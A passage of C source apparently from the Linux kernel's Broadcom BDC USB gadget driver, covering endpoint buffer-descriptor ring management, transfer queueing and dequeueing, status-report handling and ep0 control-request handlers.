index, bd_table->start_bd,
(unsigned long long)bd_table->dma, prev_table);
ep->bd_list.bd_table_array[index] = bd_table;
memset(bd_table->start_bd, 0, bd_p_tab * sizeof(struct bdc_bd));
if (prev_table)
chain_table(prev_table, bd_table, bd_p_tab);
prev_table = bd_table;
}
chain_table(prev_table, ep->bd_list.bd_table_array[0], bd_p_tab);
/* Memory allocation is successful, now init the internal fields */
ep->bd_list.num_tabs = num_tabs;
ep->bd_list.max_bdi = (num_tabs * bd_p_tab) - 1;
ep->bd_list.num_tabs = num_tabs;
ep->bd_list.num_bds_table = bd_p_tab;
ep->bd_list.eqp_bdi = 0;
ep->bd_list.hwd_bdi = 0;
return 0;
fail:
/* Free the bd_table_array, bd_table struct, bd's */
ep_bd_list_free(ep, num_tabs);
return -ENOMEM;
}
/* returns how many bd's are need for this transfer */
static inline int bd_needed_req(struct bdc_req *req)
{
int bd_needed = 0;
int remaining;
/* 1 bd needed for 0 byte transfer */
if (req->usb_req.length == 0)
return 1;
/* remaining bytes after tranfering all max BD size BD's */
remaining = req->usb_req.length % BD_MAX_BUFF_SIZE;
if (remaining)
bd_needed++;
/* How many maximum BUFF size BD's ? */
remaining = req->usb_req.length / BD_MAX_BUFF_SIZE;
bd_needed += remaining;
return bd_needed;
}
/* returns the bd index(bdi) corresponding to bd dma address */
static int bd_add_to_bdi(struct bdc_ep *ep, dma_addr_t bd_dma_addr)
{
struct bd_list *bd_list = &ep->bd_list;
dma_addr_t dma_first_bd, dma_last_bd;
struct bdc *bdc = ep->bdc;
struct bd_table *bd_table;
bool found = false;
int tbi, bdi;
dma_first_bd = dma_last_bd = 0;
dev_dbg(bdc->dev, "%s %llx\n",
__func__, (unsigned long long)bd_dma_addr);
/*
* Find in which table this bd_dma_addr belongs?, go through the table
* array and compare addresses of first and last address of bd of each
* table
*/
for (tbi = 0; tbi < bd_list->num_tabs; tbi++) {
bd_table = bd_list->bd_table_array[tbi];
dma_first_bd = bd_table->dma;
dma_last_bd = bd_table->dma +
(sizeof(struct bdc_bd) *
(bd_list->num_bds_table - 1));
dev_dbg(bdc->dev, "dma_first_bd:%llx dma_last_bd:%llx\n",
(unsigned long long)dma_first_bd,
(unsigned long long)dma_last_bd);
if (bd_dma_addr >= dma_first_bd && bd_dma_addr <= dma_last_bd) {
found = true;
break;
}
}
if (unlikely(!found)) {
dev_err(bdc->dev, "%s FATAL err, bd not found\n", __func__);
return -EINVAL;
}
/* Now we know the table, find the bdi */
bdi = (bd_dma_addr - dma_first_bd) / sizeof(struct bdc_bd);
/* return the global bdi, to compare with ep eqp_bdi */
return (bdi + (tbi * bd_list->num_bds_table));
}
/* returns the table index(tbi) of the given bdi */
static int bdi_to_tbi(struct bdc_ep *ep, int bdi)
{
int tbi;
tbi = bdi / ep->bd_list.num_bds_table;
dev_vdbg(ep->bdc->dev,
"bdi:%d num_bds_table:%d tbi:%d\n",
bdi, ep->bd_list.num_bds_table, tbi);
return tbi;
}
/* Find the bdi last bd in the transfer */
static inline int find_end_bdi(struct bdc_ep *ep, int next_hwd_bdi)
{
int end_bdi;
end_bdi = next_hwd_bdi - 1;
if (end_bdi < 0)
end_bdi = ep->bd_list.max_bdi - 1;
else if ((end_bdi % (ep->bd_list.num_bds_table-1)) == 0)
end_bdi--;
return end_bdi;
}
/*
* How many transfer bd's are available on this ep bdl, chain bds are not
* counted in available bds
*/
static int bd_available_ep(struct bdc_ep *ep)
{
struct bd_list *bd_list = &ep->bd_list;
int available1, available2;
struct bdc *bdc = ep->bdc;
int chain_bd1, chain_bd2;
int available_bd = 0;
available1 = available2 = chain_bd1 = chain_bd2 = 0;
/* if empty then we have all bd's available - number of chain bd's */
if (bd_list->eqp_bdi == bd_list->hwd_bdi)
return bd_list->max_bdi - bd_list->num_tabs;
/*
* Depending upon where eqp and dqp pointers are, caculate number
* of avaialble bd's
*/
if (bd_list->hwd_bdi < bd_list->eqp_bdi) {
/* available bd's are from eqp..max_bds + 0..dqp - chain_bds */
available1 = bd_list->max_bdi - bd_list->eqp_bdi;
available2 = bd_list->hwd_bdi;
chain_bd1 = available1 / bd_list->num_bds_table;
chain_bd2 = available2 / bd_list->num_bds_table;
dev_vdbg(bdc->dev, "chain_bd1:%d chain_bd2:%d\n",
chain_bd1, chain_bd2);
available_bd = available1 + available2 - chain_bd1 - chain_bd2;
} else {
/* available bd's are from eqp..dqp - number of chain bd's */
available1 = bd_list->hwd_bdi - bd_list->eqp_bdi;
/* if gap between eqp and dqp is less than NUM_BDS_PER_TABLE */
if ((bd_list->hwd_bdi - bd_list->eqp_bdi)
<= bd_list->num_bds_table) {
/* If there any chain bd in between */
if (!(bdi_to_tbi(ep, bd_list->hwd_bdi)
== bdi_to_tbi(ep, bd_list->eqp_bdi))) {
available_bd = available1 - 1;
}
} else {
chain_bd1 = available1 / bd_list->num_bds_table;
available_bd = available1 - chain_bd1;
}
}
/*
* we need to keep one extra bd to check if ring is full or empty so
* reduce by 1
*/
available_bd--;
dev_vdbg(bdc->dev, "available_bd:%d\n", available_bd);
return available_bd;
}
/* Notify the hardware after queueing the bd to bdl */
void bdc_notify_xfr(struct bdc *bdc, u32 epnum)
{
struct bdc_ep *ep = bdc->bdc_ep_array[epnum];
dev_vdbg(bdc->dev, "%s epnum:%d\n", __func__, epnum);
/*
* We don't have anyway to check if ep state is running,
* except the software flags.
*/
if (unlikely(ep->flags & BDC_EP_STOP))
ep->flags &= ~BDC_EP_STOP;
bdc_writel(bdc->regs, BDC_XSFNTF, epnum);
}
/* returns the bd corresponding to bdi */
static struct bdc_bd *bdi_to_bd(struct bdc_ep *ep, int bdi)
{
int tbi = bdi_to_tbi(ep, bdi);
int local_bdi = 0;
local_bdi = bdi - (tbi * ep->bd_list.num_bds_table);
dev_vdbg(ep->bdc->dev,
"%s bdi:%d local_bdi:%d\n",
__func__, bdi, local_bdi);
return (ep->bd_list.bd_table_array[tbi]->start_bd + local_bdi);
}
/* Advance the enqueue pointer */
static void ep_bdlist_eqp_adv(struct bdc_ep *ep)
{
ep->bd_list.eqp_bdi++;
/* if it's chain bd, then move to next */
if (((ep->bd_list.eqp_bdi + 1) % ep->bd_list.num_bds_table) == 0)
ep->bd_list.eqp_bdi++;
/* if the eqp is pointing to last + 1 then move back to 0 */
if (ep->bd_list.eqp_bdi == (ep->bd_list.max_bdi + 1))
ep->bd_list.eqp_bdi = 0;
}
/* Setup the first bd for ep0 transfer */
static int setup_first_bd_ep0(struct bdc *bdc, struct bdc_req *req, u32 *dword3)
{
u16 wValue;
u32 req_len;
req->ep->dir = 0;
req_len = req->usb_req.length;
switch (bdc->ep0_state) {
case WAIT_FOR_DATA_START:
*dword3 |= BD_TYPE_DS;
if (bdc->setup_pkt.bRequestType & USB_DIR_IN)
*dword3 |= BD_DIR_IN;
/* check if zlp will be needed */
wValue = le16_to_cpu(bdc->setup_pkt.wValue);
if ((wValue > req_len) &&
(req_len % bdc->gadget.ep0->maxpacket == 0)) {
dev_dbg(bdc->dev, "ZLP needed wVal:%d len:%d MaxP:%d\n",
wValue, req_len,
bdc->gadget.ep0->maxpacket);
bdc->zlp_needed = true;
}
break;
case WAIT_FOR_STATUS_START:
*dword3 |= BD_TYPE_SS;
if (!le16_to_cpu(bdc->setup_pkt.wLength) ||
!(bdc->setup_pkt.bRequestType & USB_DIR_IN))
*dword3 |= BD_DIR_IN;
break;
default:
dev_err(bdc->dev,
"Unknown ep0 state for queueing bd ep0_state:%s\n",
ep0_state_string[bdc->ep0_state]);
return -EINVAL;
}
return 0;
}
/* Setup the bd dma descriptor for a given request */
static int setup_bd_list_xfr(struct bdc *bdc, struct bdc_req *req, int num_bds)
{
dma_addr_t buf_add = req->usb_req.dma;
u32 maxp, tfs, dword2, dword3;
struct bd_transfer *bd_xfr;
struct bd_list *bd_list;
struct bdc_ep *ep;
struct bdc_bd *bd;
int ret, bdnum;
u32 req_len;
ep = req->ep;
bd_list = &ep->bd_list;
bd_xfr = &req->bd_xfr;
bd_xfr->req = req;
bd_xfr->start_bdi = bd_list->eqp_bdi;
bd = bdi_to_bd(ep, bd_list->eqp_bdi);
req_len = req->usb_req.length;
maxp = usb_endpoint_maxp(ep->desc) & 0x7ff;
tfs = roundup(req->usb_req.length, maxp);
tfs = tfs/maxp;
dev_vdbg(bdc->dev, "%s ep:%s num_bds:%d tfs:%d r_len:%d bd:%p\n",
__func__, ep->name, num_bds, tfs, req_len, bd);
for (bdnum = 0; bdnum < num_bds; bdnum++) {
dword2 = dword3 = 0;
/* First bd */
if (!bdnum) {
dword3 |= BD_SOT|BD_SBF|(tfs<<BD_TFS_SHIFT);
dword2 |= BD_LTF;
/* format of first bd for ep0 is different than other */
if (ep->ep_num == 1) {
ret = setup_first_bd_ep0(bdc, req, &dword3);
if (ret)
return ret;
}
}
if (!req->ep->dir)
dword3 |= BD_ISP;
if (req_len > BD_MAX_BUFF_SIZE) {
dword2 |= BD_MAX_BUFF_SIZE;
req_len -= BD_MAX_BUFF_SIZE;
} else {
/* this should be the last bd */
dword2 |= req_len;
dword3 |= BD_IOC;
dword3 |= BD_EOT;
}
/* Currently only 1 INT target is supported */
dword2 |= BD_INTR_TARGET(0);
bd = bdi_to_bd(ep, ep->bd_list.eqp_bdi);
if (unlikely(!bd)) {
dev_err(bdc->dev, "Err bd pointing to wrong addr\n");
return -EINVAL;
}
/* write bd */
bd->offset[0] = cpu_to_le32(lower_32_bits(buf_add));
bd->offset[1] = cpu_to_le32(upper_32_bits(buf_add));
bd->offset[2] = cpu_to_le32(dword2);
bd->offset[3] = cpu_to_le32(dword3);
/* advance eqp pointer */
ep_bdlist_eqp_adv(ep);
/* advance the buff pointer */
buf_add += BD_MAX_BUFF_SIZE;
dev_vdbg(bdc->dev, "buf_add:%08llx req_len:%d bd:%p eqp:%d\n",
(unsigned long long)buf_add, req_len, bd,
ep->bd_list.eqp_bdi);
bd = bdi_to_bd(ep, ep->bd_list.eqp_bdi);
bd->offset[3] = cpu_to_le32(BD_SBF);
}
/* clear the STOP BD fetch bit from the first bd of this xfr */
bd = bdi_to_bd(ep, bd_xfr->start_bdi);
bd->offset[3] &= cpu_to_le32(~BD_SBF);
/* the new eqp will be next hw dqp */
bd_xfr->num_bds = num_bds;
bd_xfr->next_hwd_bdi = ep->bd_list.eqp_bdi;
/* everything is written correctly before notifying the HW */
wmb();
return 0;
}
/* Queue the xfr */
static int bdc_queue_xfr(struct bdc *bdc, struct bdc_req *req)
{
int num_bds, bd_available;
struct bdc_ep *ep;
int ret;
ep = req->ep;
dev_dbg(bdc->dev, "%s req:%p\n", __func__, req);
dev_dbg(bdc->dev, "eqp_bdi:%d hwd_bdi:%d\n",
ep->bd_list.eqp_bdi, ep->bd_list.hwd_bdi);
num_bds = bd_needed_req(req);
bd_available = bd_available_ep(ep);
/* how many bd's are avaialble on ep */
if (num_bds > bd_available)
return -ENOMEM;
ret = setup_bd_list_xfr(bdc, req, num_bds);
if (ret)
return ret;
list_add_tail(&req->queue, &ep->queue);
bdc_dbg_bd_list(bdc, ep);
bdc_notify_xfr(bdc, ep->ep_num);
return 0;
}
/* callback to gadget layer when xfr completes */
static void bdc_req_complete(struct bdc_ep *ep, struct bdc_req *req,
int status)
{
struct bdc *bdc = ep->bdc;
if (req == NULL || &req->queue == NULL || &req->usb_req == NULL)
return;
dev_dbg(bdc->dev, "%s ep:%s status:%d\n", __func__, ep->name, status);
list_del(&req->queue);
req->usb_req.status = status;
usb_gadget_unmap_request(&bdc->gadget, &req->usb_req, ep->dir);
if (req->usb_req.complete) {
spin_unlock(&bdc->lock);
usb_gadget_giveback_request(&ep->usb_ep, &req->usb_req);
spin_lock(&bdc->lock);
}
}
/* Disable the endpoint */
int bdc_ep_disable(struct bdc_ep *ep)
{
struct bdc_req *req;
struct bdc *bdc;
int ret;
ret = 0;
bdc = ep->bdc;
dev_dbg(bdc->dev, "%s() ep->ep_num=%d\n", __func__, ep->ep_num);
/* Stop the endpoint */
ret = bdc_stop_ep(bdc, ep->ep_num);
/*
* Intentionally don't check the ret value of stop, it can fail in
* disconnect scenarios, continue with dconfig
*/
/* de-queue any pending requests */
while (!list_empty(&ep->queue)) {
req = list_entry(ep->queue.next, struct bdc_req,
queue);
bdc_req_complete(ep, req, -ESHUTDOWN);
}
/* deconfigure the endpoint */
ret = bdc_dconfig_ep(bdc, ep);
if (ret)
dev_warn(bdc->dev,
"dconfig fail but continue with memory free");
ep->flags = 0;
/* ep0 memory is not freed, but reused on next connect sr */
if (ep->ep_num == 1)
return 0;
/* Free the bdl memory */
ep_bd_list_free(ep, ep->bd_list.num_tabs);
ep->desc = NULL;
ep->comp_desc = NULL;
ep->usb_ep.desc = NULL;
ep->ep_type = 0;
return ret;
}
/* Enable the ep */
int bdc_ep_enable(struct bdc_ep *ep)
{
struct bdc *bdc;
int ret = 0;
bdc = ep->bdc;
dev_dbg(bdc->dev, "%s NUM_TABLES:%d %d\n",
__func__, NUM_TABLES, NUM_TABLES_ISOCH);
ret = ep_bd_list_alloc(ep);
if (ret) {
dev_err(bdc->dev, "ep bd list allocation failed:%d\n", ret);
return -ENOMEM;
}
bdc_dbg_bd_list(bdc, ep);
/* only for ep0: config ep is called for ep0 from connect event */
ep->flags |= BDC_EP_ENABLED;
if (ep->ep_num == 1)
return ret;
/* Issue a configure endpoint command */
ret = bdc_config_ep(bdc, ep);
if (ret)
return ret;
ep->usb_ep.maxpacket = usb_endpoint_maxp(ep->desc);
ep->usb_ep.desc = ep->desc;
ep->usb_ep.comp_desc = ep->comp_desc;
ep->ep_type = usb_endpoint_type(ep->desc);
ep->flags |= BDC_EP_ENABLED;
return 0;
}
/* EP0 related code */
/* Queue a status stage BD */
static int ep0_queue_status_stage(struct bdc *bdc)
{
struct bdc_req *status_req;
struct bdc_ep *ep;
status_req = &bdc->status_req;
ep = bdc->bdc_ep_array[1];
status_req->ep = ep;
status_req->usb_req.length = 0;
status_req->usb_req.status = -EINPROGRESS;
status_req->usb_req.actual = 0;
status_req->usb_req.complete = NULL;
bdc_queue_xfr(bdc, status_req);
return 0;
}
/* Queue xfr on ep0 */
static int ep0_queue(struct bdc_ep *ep, struct bdc_req *req)
{
struct bdc *bdc;
int ret;
bdc = ep->bdc;
dev_dbg(bdc->dev, "%s()\n", __func__);
req->usb_req.actual = 0;
req->usb_req.status = -EINPROGRESS;
req->epnum = ep->ep_num;
if (bdc->delayed_status) {
bdc->delayed_status = false;
/* if status stage was delayed? */
if (bdc->ep0_state == WAIT_FOR_STATUS_START) {
/* Queue a status stage BD */
ep0_queue_status_stage(bdc);
bdc->ep0_state = WAIT_FOR_STATUS_XMIT;
return 0;
}
} else {
/*
* if delayed status is false and 0 length transfer is requested
* i.e. for status stage of some setup request, then just
* return from here the status stage is queued independently
*/
if (req->usb_req.length == 0)
return 0;
}
ret = usb_gadget_map_request(&bdc->gadget, &req->usb_req, ep->dir);
if (ret) {
dev_err(bdc->dev, "dma mapping failed %s\n", ep->name);
return ret;
}
return bdc_queue_xfr(bdc, req);
}
/* Queue data stage */
static int ep0_queue_data_stage(struct bdc *bdc)
{
struct usb_request *ep0_usb_req;
struct bdc_ep *ep;
dev_dbg(bdc->dev, "%s\n", __func__);
ep0_usb_req = &bdc->ep0_req.usb_req;
ep = bdc->bdc_ep_array[1];
bdc->ep0_req.ep = ep;
bdc->ep0_req.usb_req.complete = NULL;
return ep0_queue(ep, &bdc->ep0_req);
}
/* Queue req on ep */
static int ep_queue(struct bdc_ep *ep, struct bdc_req *req)
{
struct bdc *bdc;
int ret = 0;
if (!req || !ep->usb_ep.desc)
return -EINVAL;
bdc = ep->bdc;
req->usb_req.actual = 0;
req->usb_req.status = -EINPROGRESS;
req->epnum = ep->ep_num;
ret = usb_gadget_map_request(&bdc->gadget, &req->usb_req, ep->dir);
if (ret) {
dev_err(bdc->dev, "dma mapping failed\n");
return ret;
}
return bdc_queue_xfr(bdc, req);
}
/* Dequeue a request from ep */
static int ep_dequeue(struct bdc_ep *ep, struct bdc_req *req)
{
int start_bdi, end_bdi, tbi, eqp_bdi, curr_hw_dqpi;
bool start_pending, end_pending;
bool first_remove = false;
struct bdc_req *first_req;
struct bdc_bd *bd_start;
struct bd_table *table;
dma_addr_t next_bd_dma;
u64 deq_ptr_64 = 0;
struct bdc *bdc;
u32 tmp_32;
int ret;
bdc = ep->bdc;
start_pending = end_pending = false;
eqp_bdi = ep->bd_list.eqp_bdi - 1;
if (eqp_bdi < 0)
eqp_bdi = ep->bd_list.max_bdi;
start_bdi = req->bd_xfr.start_bdi;
end_bdi = find_end_bdi(ep, req->bd_xfr.next_hwd_bdi);
dev_dbg(bdc->dev, "%s ep:%s start:%d end:%d\n",
__func__, ep->name, start_bdi, end_bdi);
dev_dbg(bdc->dev, "ep_dequeue ep=%p ep->desc=%p\n",
ep, (void *)ep->usb_ep.desc);
/* Stop the ep to see where the HW is ? */
ret = bdc_stop_ep(bdc, ep->ep_num);
/* if there is an issue with stopping ep, then no need to go further */
if (ret)
return 0;
/*
* After endpoint is stopped, there can be 3 cases, the request
* is processed, pending or in the middle of processing
*/
/* The current hw dequeue pointer */
tmp_32 = bdc_readl(bdc->regs, BDC_EPSTS0(0));
deq_ptr_64 = tmp_32;
tmp_32 = bdc_readl(bdc->regs, BDC_EPSTS1(0));
deq_ptr_64 |= ((u64)tmp_32 << 32);
/* we have the dma addr of next bd that will be fetched by hardware */
curr_hw_dqpi = bd_add_to_bdi(ep, deq_ptr_64);
if (curr_hw_dqpi < 0)
return curr_hw_dqpi;
/*
* curr_hw_dqpi points to actual dqp of HW and HW owns bd's from
* curr_hw_dqbdi..eqp_bdi.
*/
/* Check if start_bdi and end_bdi are in range of HW owned BD's */
if (curr_hw_dqpi > eqp_bdi) {
/* there is a wrap from last to 0 */
if (start_bdi >= curr_hw_dqpi || start_bdi <= eqp_bdi) {
start_pending = true;
end_pending = true;
} else if (end_bdi >= curr_hw_dqpi || end_bdi <= eqp_bdi) {
end_pending = true;
}
} else {
if (start_bdi >= curr_hw_dqpi) {
start_pending = true;
end_pending = true;
} else if (end_bdi >= curr_hw_dqpi) {
end_pending = true;
}
}
dev_dbg(bdc->dev,
"start_pending:%d end_pending:%d speed:%d\n",
start_pending, end_pending, bdc->gadget.speed);
/* If both start till end are processes, we cannot deq req */
if (!start_pending && !end_pending)
return -EINVAL;
/*
* if ep_dequeue is called after disconnect then just return
* success from here
*/
if (bdc->gadget.speed == USB_SPEED_UNKNOWN)
return 0;
tbi = bdi_to_tbi(ep, req->bd_xfr.next_hwd_bdi);
table = ep->bd_list.bd_table_array[tbi];
next_bd_dma = table->dma +
sizeof(struct bdc_bd)*(req->bd_xfr.next_hwd_bdi -
tbi * ep->bd_list.num_bds_table);
first_req = list_first_entry(&ep->queue, struct bdc_req,
queue);
if (req == first_req)
first_remove = true;
/*
* Due to HW limitation we need to bypadd chain bd's and issue ep_bla,
* incase if start is pending this is the first request in the list
* then issue ep_bla instead of marking as chain bd
*/
if (start_pending && !first_remove) {
/*
* Mark the start bd as Chain bd, and point the chain
* bd to next_bd_dma
*/
bd_start = bdi_to_bd(ep, start_bdi);
bd_start->offset[0] = cpu_to_le32(lower_32_bits(next_bd_dma));
bd_start->offset[1] = cpu_to_le32(upper_32_bits(next_bd_dma));
bd_start->offset[2] = 0x0;
bd_start->offset[3] = cpu_to_le32(MARK_CHAIN_BD);
bdc_dbg_bd_list(bdc, ep);
} else if (end_pending) {
/*
* The transfer is stopped in the middle, move the
* HW deq pointer to next_bd_dma
*/
ret = bdc_ep_bla(bdc, ep, next_bd_dma);
if (ret) {
dev_err(bdc->dev, "error in ep_bla:%d\n", ret);
return ret;
}
}
return 0;
}
/* Halt/Clear the ep based on value */
static int ep_set_halt(struct bdc_ep *ep, u32 value)
{
struct bdc *bdc;
int ret;
bdc = ep->bdc;
dev_dbg(bdc->dev, "%s ep:%s value=%d\n", __func__, ep->name, value);
if (value) {
dev_dbg(bdc->dev, "Halt\n");
if (ep->ep_num == 1)
bdc->ep0_state = WAIT_FOR_SETUP;
ret = bdc_ep_set_stall(bdc, ep->ep_num);
if (ret)
dev_err(bdc->dev, "failed to set STALL on %s\n",
ep->name);
else
ep->flags |= BDC_EP_STALL;
} else {
/* Clear */
dev_dbg(bdc->dev, "Before Clear\n");
ret = bdc_ep_clear_stall(bdc, ep->ep_num);
if (ret)
dev_err(bdc->dev, "failed to clear STALL on %s\n",
ep->name);
else
ep->flags &= ~BDC_EP_STALL;
dev_dbg(bdc->dev, "After Clear\n");
}
return ret;
}
/* Free all the ep */
void bdc_free_ep(struct bdc *bdc)
{
struct bdc_ep *ep;
u8 epnum;
dev_dbg(bdc->dev, "%s\n", __func__);
for (epnum = 1; epnum < bdc->num_eps; epnum++) {
ep = bdc->bdc_ep_array[epnum];
if (!ep)
continue;
if (ep->flags & BDC_EP_ENABLED)
ep_bd_list_free(ep, ep->bd_list.num_tabs);
/* ep0 is not in this gadget list */
if (epnum != 1)
list_del(&ep->usb_ep.ep_list);
kfree(ep);
}
}
/* USB2 spec, section 7.1.20 */
static int bdc_set_test_mode(struct bdc *bdc)
{
u32 usb2_pm;
usb2_pm = bdc_readl(bdc->regs, BDC_USPPM2);
usb2_pm &= ~BDC_PTC_MASK;
dev_dbg(bdc->dev, "%s\n", __func__);
switch (bdc->test_mode) {
case TEST_J:
case TEST_K:
case TEST_SE0_NAK:
case TEST_PACKET:
case TEST_FORCE_EN:
usb2_pm |= bdc->test_mode << 28;
break;
default:
return -EINVAL;
}
dev_dbg(bdc->dev, "usb2_pm=%08x", usb2_pm);
bdc_writel(bdc->regs, BDC_USPPM2, usb2_pm);
return 0;
}
/*
* Helper function to handle Transfer status report with status as either
* success or short
*/
static void handle_xsr_succ_status(struct bdc *bdc, struct bdc_ep *ep,
struct bdc_sr *sreport)
{
int short_bdi, start_bdi, end_bdi, max_len_bds, chain_bds;
struct bd_list *bd_list = &ep->bd_list;
int actual_length, length_short;
struct bd_transfer *bd_xfr;
struct bdc_bd *short_bd;
struct bdc_req *req;
u64 deq_ptr_64 = 0;
int status = 0;
int sr_status;
u32 tmp_32;
dev_dbg(bdc->dev, "%s ep:%p\n", __func__, ep);
bdc_dbg_srr(bdc, 0);
/* do not process thie sr if ignore flag is set */
if (ep->ignore_next_sr) {
ep->ignore_next_sr = false;
return;
}
if (unlikely(list_empty(&ep->queue))) {
dev_warn(bdc->dev, "xfr srr with no BD's queued\n");
return;
}
req = list_entry(ep->queue.next, struct bdc_req,
queue);
bd_xfr = &req->bd_xfr;
sr_status = XSF_STS(le32_to_cpu(sreport->offset[3]));
/*
* sr_status is short and this transfer has more than 1 bd then it needs
* special handling, this is only applicable for bulk and ctrl
*/
if (sr_status == XSF_SHORT && bd_xfr->num_bds > 1) {
/*
* This is multi bd xfr, lets see which bd
* caused short transfer and how many bytes have been
* transferred so far.
*/
tmp_32 = le32_to_cpu(sreport->offset[0]);
deq_ptr_64 = tmp_32;
tmp_32 = le32_to_cpu(sreport->offset[1]);
deq_ptr_64 |= ((u64)tmp_32 << 32);
short_bdi = bd_add_to_bdi(ep, deq_ptr_64);
if (unlikely(short_bdi < 0))
dev_warn(bdc->dev, "bd doesn't exist?\n");
start_bdi = bd_xfr->start_bdi;
/*
* We know the start_bdi and short_bdi, how many xfr
* bds in between
*/
if (start_bdi <= short_bdi) {
max_len_bds = short_bdi - start_bdi;
if (max_len_bds <= bd_list->num_bds_table) {
if (!(bdi_to_tbi(ep, start_bdi) ==
bdi_to_tbi(ep, short_bdi)))
max_len_bds--;
} else {
chain_bds = max_len_bds/bd_list->num_bds_table;
max_len_bds -= chain_bds;
}
} else {
/* there is a wrap in the ring within a xfr */
chain_bds = (bd_list->max_bdi - start_bdi)/
bd_list->num_bds_table;
chain_bds += short_bdi/bd_list->num_bds_table;
max_len_bds = bd_list->max_bdi - start_bdi;
max_len_bds += short_bdi;
max_len_bds -= chain_bds;
}
/* max_len_bds is the number of full length bds */
end_bdi = find_end_bdi(ep, bd_xfr->next_hwd_bdi);
if (!(end_bdi == short_bdi))
ep->ignore_next_sr = true;
actual_length = max_len_bds * BD_MAX_BUFF_SIZE;
short_bd = bdi_to_bd(ep, short_bdi);
/* length queued */
length_short = le32_to_cpu(short_bd->offset[2]) & 0x1FFFFF;
/* actual length trensfered */
length_short -= SR_BD_LEN(le32_to_cpu(sreport->offset[2]));
actual_length += length_short;
req->usb_req.actual = actual_length;
} else {
req->usb_req.actual = req->usb_req.length -
SR_BD_LEN(le32_to_cpu(sreport->offset[2]));
dev_dbg(bdc->dev,
"len=%d actual=%d bd_xfr->next_hwd_bdi:%d\n",
req->usb_req.length, req->usb_req.actual,
bd_xfr->next_hwd_bdi);
}
/* Update the dequeue pointer */
ep->bd_list.hwd_bdi = bd_xfr->next_hwd_bdi;
if (req->usb_req.actual < req->usb_req.length) {
dev_dbg(bdc->dev, "short xfr on %d\n", ep->ep_num);
if (req->usb_req.short_not_ok)
status = -EREMOTEIO;
}
bdc_req_complete(ep, bd_xfr->req, status);
}
/* EP0 setup related packet handlers */
/*
* Setup packet received, just store the packet and process on next DS or SS
* started SR
*/
void bdc_xsf_ep0_setup_recv(struct bdc *bdc, struct bdc_sr *sreport)
{
struct usb_ctrlrequest *setup_pkt;
u32 len;
dev_dbg(bdc->dev,
"%s ep0_state:%s\n",
__func__, ep0_state_string[bdc->ep0_state]);
/* Store received setup packet */
setup_pkt = &bdc->setup_pkt;
memcpy(setup_pkt, &sreport->offset[0], sizeof(*setup_pkt));
len = le16_to_cpu(setup_pkt->wLength);
if (!len)
bdc->ep0_state = WAIT_FOR_STATUS_START;
else
bdc->ep0_state = WAIT_FOR_DATA_START;
dev_dbg(bdc->dev,
"%s exit ep0_state:%s\n",
__func__, ep0_state_string[bdc->ep0_state]);
}
/* Stall ep0 */
static void ep0_stall(struct bdc *bdc)
{
struct bdc_ep *ep = bdc->bdc_ep_array[1];
struct bdc_req *req;
dev_dbg(bdc->dev, "%s\n", __func__);
bdc->delayed_status = false;
ep_set_halt(ep, 1);
/* de-queue any pendig requests */
while (!list_empty(&ep->queue)) {
req = list_entry(ep->queue.next, struct bdc_req,
queue);
bdc_req_complete(ep, req, -ESHUTDOWN);
}
}
/* SET_ADD handlers */
static int ep0_set_address(struct bdc *bdc, struct usb_ctrlrequest *ctrl)
{
enum usb_device_state state = bdc->gadget.state;
int ret = 0;
u32 addr;
addr = le16_to_cpu(ctrl->wValue);
dev_dbg(bdc->dev,
"%s addr:%d dev state:%d\n",
__func__, addr, state);
if (addr > 127)
return -EINVAL;
switch (state) {
case USB_STATE_DEFAULT:
case USB_STATE_ADDRESS:
/* Issue Address device command */
ret = bdc_address_device(bdc, addr);
if (ret)
return ret;
if (addr)
usb_gadget_set_state(&bdc->gadget, USB_STATE_ADDRESS);
else
usb_gadget_set_state(&bdc->gadget, USB_STATE_DEFAULT);
bdc->dev_addr = addr;
break;
default:
dev_warn(bdc->dev,
"SET Address in wrong device state %d\n",
state);
ret = -EINVAL;
}
return ret;
}
/* Handler for SET/CLEAR FEATURE requests for device */
static int ep0_handle_feature_dev(struct bdc *bdc, u16 wValue,
u16 wIndex, bool set)
{
enum usb_device_state state = bdc->gadget.state;
u32 usppms = 0;
dev_dbg(bdc->dev, "%s set:%d dev state:%d\n",
__func__, set, state);
switch (wValue) {
case USB_DEVICE_REMOTE_WAKEUP:
dev_dbg(bdc->dev, "USB_DEVICE_REMOTE_WAKEUP\n");
if (set)
bdc->devstatus |= REMOTE_WAKE_ENABLE;
else
bdc->devstatus &= ~REMOTE_WAKE_ENABLE;
break;
case USB_DEVICE_TEST_MODE:
dev_dbg(bdc->dev, "USB_DEVICE_TEST_MODE\n");
if ((wIndex & 0xFF) ||
(bdc->gadget.speed != USB_SPEED_HIGH) || !set)
return -EINVAL;
bdc->test_mode = wIndex >> 8;
break;
case USB_DEVICE_U1_ENABLE:
dev_dbg(bdc->dev, "USB_DEVICE_U1_ENABLE\n");
if (bdc->gadget.speed != USB_SPEED_SUPER ||
state != USB_STATE_CONFIGURED)
return -EINVAL;
usppms = bdc_readl(bdc->regs, BDC_USPPMS);
if (set) {
/* clear previous u1t */
usppms &= ~BDC_U1T(BDC_U1T_MASK);
usppms |= BDC_U1T(U1_TIMEOUT);
usppms |= BDC_U1E | BDC_PORT_W1S;
bdc->devstatus |= (1 << USB_DEV_STAT_U1_ENABLED);
} else {
usppms &= ~BDC_U1E;
usppms |= BDC_PORT_W1S;
bdc->devstatus &= ~(1 << USB_DEV_STAT_U1_ENABLED);
}
bdc_writel(bdc->regs, BDC_USPPMS, usppms);
break;
case USB_DEVICE_U2_ENABLE:
dev_dbg(bdc->dev, "USB_DEVICE_U2_ENABLE\n");
if (bdc->gadget.speed != USB_SPEED_SUPER ||
state != USB_STATE_CONFIGURED)
return -EINVAL;
usppms = bdc_readl(bdc->regs, BDC_USPPMS);
if (set) {
usppms |= BDC_U2E;
usppms |= BDC_U2A;
bdc->devstatus |= (1 << USB_DEV_STAT_U2_ENABLED);
} else {
usppms &= ~BDC_U2E;
usppms &= ~BDC_U2A;
bdc->devstatus &= ~(1 << USB_DEV_STAT_U2_ENABLED);
}
bdc_writel(bdc->regs, BDC_USPPMS, usppms);
break;
case USB_DEVICE_LTM_ENABLE:
dev_dbg(bdc->dev, "USB_DEVICE_LTM_ENABLE?\n");
if (bdc->gadget.speed != USB_SPEED_SUPER ||
state != USB_STATE_CONFIGURED)
return -EINVAL;
break;
default:
dev_err(bdc->dev, "Unknown wValue:%d\n", wValue);
return -EOPNOTSUPP;
} /* USB_RECIP_DEVICE end */
return 0;
}
/* SET/CLEAR FEATURE handler */
static int ep0_handle_feature(struct bdc *bdc,
struct usb_ctrlrequest *setup_pkt, bool set)
{
